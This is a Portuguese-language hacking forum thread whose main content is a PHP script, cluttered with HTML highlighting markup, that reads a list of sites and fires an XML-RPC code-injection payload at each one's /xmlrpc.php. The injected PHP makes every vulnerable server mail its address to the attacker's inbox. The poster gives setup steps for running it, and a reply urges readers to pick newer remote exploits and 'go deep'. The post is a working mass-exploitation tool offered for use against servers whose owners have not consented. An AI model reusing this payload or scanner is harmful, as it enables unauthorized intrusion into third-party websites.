FORUM DARKERS


<?php
</span><span class="syntaxcomment">//by branco - Ictu Oculi
</span><span class="syntaxdefault">$handle </span><span class="syntaxkeyword">= </span><span class="syntaxdefault">fopen</span><span class="syntaxkeyword">(</span><span class="syntaxstring">'maquinas&#46;txt'</span><span class="syntaxkeyword">,</span><span class="syntaxstring">'r'</span><span class="syntaxkeyword">);
</span><span class="syntaxdefault">$buffer </span><span class="syntaxkeyword">=&</span><span class="syntaxdefault">nbsp</span><span class="syntaxkeyword">; </span><span class="syntaxdefault">fread</span><span class="syntaxkeyword">(</span><span class="syntaxdefault">$handle</span><span class="syntaxkeyword">, </span><span class="syntaxdefault">8192</span><span class="syntaxkeyword">);
</span><span class="syntaxdefault">fclose</span><span class="syntaxkeyword">(</span><span class="syntaxdefault">$handle</span><span class="syntaxkeyword">);
</span><span class="syntaxdefault">preg_match_all</span><span class="syntaxkeyword">(</span><span class="syntaxstring">'/http&#58;\/\/[^">) &#93;*/'</span><span class="syntaxkeyword">,</span><span class="syntaxdefault">$buffer</span><span class="syntaxkeyword">,</span><span class="syntaxdefault">$matches</span><span class="syntaxkeyword">);
</span><span class="syntaxdefault">print_r</span><span class="syntaxkeyword">(</span><span class="syntaxdefault">$matches</span><span class="syntaxkeyword">);
</span><span class="syntaxdefault">$matches2 </span><span class="syntaxkeyword">= array();
</span><span class="syntaxdefault">$vuls </span><span class="syntaxkeyword">= array();
foreach(</span><span class="syntaxdefault">$matches</span><span class="syntaxkeyword">[</span><span class="syntaxdefault">0</span><span class="syntaxkeyword">&#93; as </span><span class="syntaxdefault">$key </span><span class="syntaxkeyword">=> </span><span class="syntaxdefault">$value</span><span class="syntaxkeyword">) {
&</span><span class="syntaxdefault">nbsp</span><span class="syntaxkeyword">; &</span><span class="syntaxdefault">nbsp</span><span class="syntaxkeyword">; </span><span class="syntaxdefault">preg_match</span><span class="syntaxkeyword">(</span><span class="syntaxstring">'/http&#58;\/\/[^\/&#93;*/'</span><span class="syntaxkeyword">,</span><span class="syntaxdefault">$value</span><span class="syntaxkeyword">,</span><span class="syntaxdefault">$first_step</span><span class="syntaxkeyword">); </span><span class="syntaxcomment"># get content in http&#58;//&#46;&#46;&#46;&#46;/
</span><span class="syntaxkeyword">&</span><span class="syntaxdefault">nbsp</span><span class="syntaxkeyword">; &</span><span class="syntaxdefault">nbsp</span><span class="syntaxkeyword">; </span><span class="syntaxdefault">$second_step </span><span class="syntaxkeyword">= </span><span class="syntaxdefault">preg_split</span><span class="syntaxkeyword">(</span><span class="syntaxstring">'/http&#58;\/\/[^\/&#93;*/'</span><span class="syntaxkeyword">,</span><span class="syntaxdefault">$value</span><span class="syntaxkeyword">); </span><span class="syntaxcomment"># get /&#46;&#46;&#46;/&#46;&#46;&#46;&#46;/&#46;&#46;&#46;, the rest of url
</span><span class="syntaxkeyword">&</span><span class="syntaxdefault">nbsp</span><span class="syntaxkeyword">; &</span><span class="syntaxdefault">nbsp</span><span class="syntaxkeyword">; </span><span class="syntaxdefault">$site </span><span class="syntaxkeyword">= </span><span class="syntaxdefault">str_replace</span><span class="syntaxkeyword">(</span><span class="syntaxstring">'http&#58;//'</span><span class="syntaxkeyword">,</span><span class="syntaxstring">''</span><span class="syntaxkeyword">,</span><span class="syntaxdefault">$first_step</span><span class="syntaxkeyword">[</span><span class="syntaxdefault">0</span><span class="syntaxkeyword">&#93;);
&</span><span class="syntaxdefault">nbsp</span><span class="syntaxkeyword">; &</span><span class="syntaxdefault">nbsp</span><span class="syntaxkeyword">; </span><span class="syntaxdefault">$url </span><span class="syntaxkeyword">= </span><span class="syntaxdefault">$second_step</span><span class="syntaxkeyword">[</span><span class="syntaxdefault">1</span><span class="syntaxkeyword">&#93;;
&</span><span class="syntaxdefault">nbsp</span><span class="syntaxkeyword">; &</span><span class="syntaxdefault">nbsp</span><span class="syntaxkeyword">; </span><span class="syntaxdefault">$port </span><span class="syntaxkeyword">= </span><span class="syntaxdefault">80</span><span class="syntaxkeyword">;

&</span><span class="syntaxdefault">nbsp</span><span class="syntaxkeyword">; &</span><span class="syntaxdefault">nbsp</span><span class="syntaxkeyword">; </span><span class="syntaxdefault">$exploit</span><span class="syntaxkeyword">&</span><span class="syntaxdefault">nbsp</span><span class="syntaxkeyword">; = </span><span class="syntaxstring">"<?xml version=\"1&#46;0\"?><methodCall>";
&nbsp; &nbsp; $exploit .= "<methodName>test.method</methodName>";
&nbsp; &nbsp; $exploit .= "<params><param><value><name>',''));";
&nbsp; &nbsp; $headersMail&nbsp; = 'From: webmaster@example.com'; 
&nbsp; &nbsp; $exploit .= "mail('seu@hotmail.com','$site$url','vul','$headersMail');exit;/*</name></value></param></params></methodCall>";
&nbsp; &nbsp; $header&nbsp; = "POST /xmlrpc.php HTTP/1.1 \r\n";
&nbsp; &nbsp; $header .= "Host: $site \r\n"; 
&nbsp; &nbsp; $header .= "Content-Type: text/xml \r\n"; 
&nbsp; &nbsp; $header .= "Connection: close \r\n";&nbsp; 
&nbsp; &nbsp; $header .= "Content-length: " . strlen($exploit) . "\r\n\r\n"; 
&nbsp; &nbsp; $header .= $exploit;

&nbsp; &nbsp; $sk = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
&nbsp; &nbsp; if(is_resource($sk) == false) {
&nbsp; &nbsp; &nbsp; &nbsp; continue 1;
&nbsp; &nbsp; }
&nbsp; &nbsp; $conn = @socket_connect($sk, $site, $port);
&nbsp; &nbsp; if($conn == false) {
&nbsp; &nbsp; &nbsp; &nbsp; continue 1;&nbsp; &nbsp; 
&nbsp; &nbsp; }
&nbsp; &nbsp; socket_write($sk,$header,strlen($header));
&nbsp; &nbsp; socket_close($sk);
}
?>

reparem que devem modificar "seu@hotmail.com" e o nome do arquivo no fopen.
Os sites que estiverem vulneraveis serão enviados para seu e-mail.

Não reparem se tiver algo sem nexo por ai, faz um tempim que codei.

Até

Num é meio velho esse bug pra se fazer scanner não?
Mas se liga... Tem muito bug novo mais poderoso...

http://www.milw0rm.com/remote.php (http://www.milw0rm.com/remote.php)

Escolhe alguma coisa e vai fundo....

Mas aee.. Parabéns pelo seu code